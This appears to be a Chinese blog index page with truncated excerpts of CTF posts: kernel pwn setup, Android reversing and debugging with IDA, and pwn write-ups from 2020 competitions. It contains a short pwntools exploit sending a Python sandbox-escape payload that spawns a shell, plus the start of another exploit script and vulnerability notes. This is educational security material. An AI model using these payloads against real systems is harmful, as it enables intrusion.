kernel pwn环境搭建
Kernel pwn 环境搭建编译内核去官网下载一份kernel内核源码, 这里就采用2.6.32版本。我采用docker 下的ubuntu16.04进行编译内核, 编译内核前需要拥有特定的版本的make和gcc, g++
获取不同版本的内核:
获取
安装特定的编译器sudo apt install gcc-4.7 g++-4.7
sudo ln -s /usr/bin/gcc-4.7 /usr/bin/gcc
sudo ln -s /usr/bin/g++-4.7 /usr/bin/g++
安装必备依赖sudo apt-get install build-essential libncurses5-dev
获取内核代码mkdir kernel
cd kernel
wget https://mirrors.edge.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.tar.gz
tar xzvf linux-2.6.32.tar.gz
获取特定的makewget https://mirrors.tuna.tsinghua.edu.cn/gnu/ ...
Android 逆向入门
Android Re 入门必备工具:IDA : 反编译.so文件
AndroidKiller: 反编译apk文件及再次编译为apk
jd-gui : 将.jar文件反编译为java代码
dex2jar: 反编译.dex文件
apktool: 能够反编译及回编译apk
夜神模拟器: 运行apk文件
例题 1 [easy-so]下载
来源:攻防世界
使用夜神模拟器运行该apk文件, 发现需要输入flag
zip解压apk文件, 用 dex2jar反编译 classes.dex文件得到classes-dex2jar.jar,
d2j-dex2jar.bat classes.dex
再用jd-gui打开classes-dex2jar.jar反编译为java代码.
public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2131296283); ...
调试安卓程序
IDA 调试安卓工具:
Nox
IDA
进入Nox\bin目录cd C:\Program Files (x86)\Nox\bin
adb连接模拟器nox_adb.exe connect 127.0.0.1:62001
上传ida 监听文件adb push 'C:\Users\b\Desktop\down\IDA_Pro_v7.0_Portable\dbgsrv/android_server ' /data/local/tmp/
运行ida监听文件adb shell
cd /data/local/tmp/
chmod +x android_server
./android_server
端口转发adb forward tcp:23946 tcp:23946
启动所要调试的程序adb shell am start -D -n com.qipeimall/com.qipeimall.MainActivity
IDA连接Debugger->Attach->..
2020 CISCN PWN WP
2020 CISCN PWN WP当时只做了一道easybox, 但远程打不通, 菜….
原题下载: https://github.com/I0gan/pwn/tree/master/matchs/2020_08_ciscn
1-babyjsc难度1 / 10
简单描述使用Python模拟的终端, 先输入大小, 然后jsc数据执行jsc数据.
vul使用python 模拟的终端
知识点python sanbox escape
思路python 沙箱逃逸
EXPfrom pwn import *
sh = remote('0.0.0.0', 0)
p = "__import__('os').system('sh')"
sh.sendline(len(p))
sh.sendline(p)
sh.interactive()
2-NoFree难度5 / 10
保护 Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
...
wp 2020强网杯
2020 强网杯 PWN WP当时做, 做了四道题, wp先贴在这里
源题下载: https://github.com/I0gan/pwn/tree/master/matchs/2020_08_qwb
1-babymessage漏洞 (可以修改rbp 的值) 堆栈迁移使 [rbp - 4 ]> 0x100( mm ), 即可实现堆栈溢出
exp#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
exeFile = 'babymessage'
#libFile = '/lib/x86_64-linux-gnu/libc ...
wp-hfb-2020
虎符杯-2020-pwnMarksManWorld of Attack & Defense
难度2 / 10
保护 Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
简单描述输入一个地址,然后再输入3字节的内容,这三个字节的就写入该地址,开启三个字节的检查机制,防止one_gadget,但是某些one_gadget可以绕过.
vul sub_9BA();
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts); //泄漏libc
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
...
wp 高校战疫
高校战疫 Pwneasyheap难度3 / 10
保护 Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
概述没有开启EIP,有四个功能add, delete, edit, exit.
vul for ( i = 0; ptr[i]; ++i );
if ( i > 2 )
return puts("Too many items!");
ptr[i] = malloc(0x10uLL); //先开辟头部
puts("How long is this message?");
nbytes = inputNum();
if ( nbytes > 1024 ) //添加的大小大于1024时没有释放所管理的头部chunk
return puts("Too much size!");
这个体的漏洞点在先进行开辟内存, 然后再比较大 ...